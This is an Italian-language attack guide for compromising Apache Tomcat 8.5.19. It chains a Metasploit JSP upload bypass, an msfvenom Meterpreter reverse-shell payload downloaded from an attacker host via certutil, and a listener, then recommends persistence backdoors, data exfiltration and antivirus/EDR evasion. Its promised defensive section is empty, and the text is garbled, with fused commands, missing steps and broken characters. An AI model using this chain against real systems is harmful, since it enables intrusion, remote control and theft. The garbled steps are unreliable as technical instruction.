Apache Tomcat v.8.5.19
Guida Approfondita: Exploiting Apache Tomcat v8.5.19 ---
Guida Approfondita: Exploiting Apache Tomcat v8.5.19
Premessa
Apache Tomcat è un popolare application server utilizzato per eseguire applicazioni web Java. Alcune versioni, come la 8.5.19, presentano vulnerabilità critiche che possono essere sfruttate da un attaccante per ottenere l'esecuzione di codice remoto (RCE).
In questa guida vedremo come sfruttare una vulnerabilitĂ di upload non sicuro per ottenere inizialmente una shell di comando, e successivamente escalare a una sessione Meterpreter, arricchendo il flusso operativo con altre tecniche e best practices.
Scenario di Attacco
- Target: Apache Tomcat v8.5.19
- VulnerabilitĂ : Upload non autorizzato di file JSP
- Strumento Principale: Metasploit Framework
Fasi dell'Attacco
1. Enumerazione Iniziale
Effettuare uno scanning del target utilizzando nmap:
nmap -sV -p 8080 --script=http-enum <IP_Target>/manager/html)
- Versione di Apache Tomcat
2. Exploitation - Upload Bypass
Utilizzare il modulo Metasploit:
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS <IP_Target>
set RPORT 8080
set TARGETURI /manager/html
set HttpUsername <user>
set HttpPassword <password>
exploitmsfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Attacker> LPORT=4445 -f exe > payload.exemsfvenom.
4. Hosting del Payload
Avviare un server HTTP semplice:
python3 -m http.server 8000certutil -urlcache -f http://<IP_Attacker>:8000/payload.exe payload.execertutil, si possono usare powershell o bitsadmin per il download in caso di restrizioni.
6. Preparazione dell'Handler di Metasploit
In Metasploit:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_Attacker>
set LPORT 4445
run -j -z-j: Esegue l'handler come job in background
- -z: Non interagisce automaticamente con la sessione catturata
7. Esecuzione del Payload
Sulla shell della vittima:
payload.exeApprofondimenti Tecnici e Tecniche Aggiuntive
- Post-Exploitation:
systeminfo, whoami /all) e sfruttare eventuali vulnerabilitĂ note.
- Persistence: Installare backdoor persistenti tramite script Meterpreter (persistence script).
- Data Exfiltration: Ricercare file interessanti (credentials, database, documenti riservati).
- Evitare Antivirus e EDR:
Veil, Shellter, o tecniche di "payload staging".
- Compilare payload personalizzati in linguaggi alternativi (C#, Go).
- Alternative di Exploit:
.war, che possono includere shell JSP.
- Best Practice di Sicurezza (per la difesa):
Conclusione
Questa catena di attacco rappresenta un ottimo esempio di "Initial Access" che può essere rapidamente trasformato in compromissione completa del sistema. Come sempre, è fondamentale seguire un processo sistematico di post-exploitation e mantenere una mentalità orientata alla difesa, documentando ogni passo in un eventuale report finale.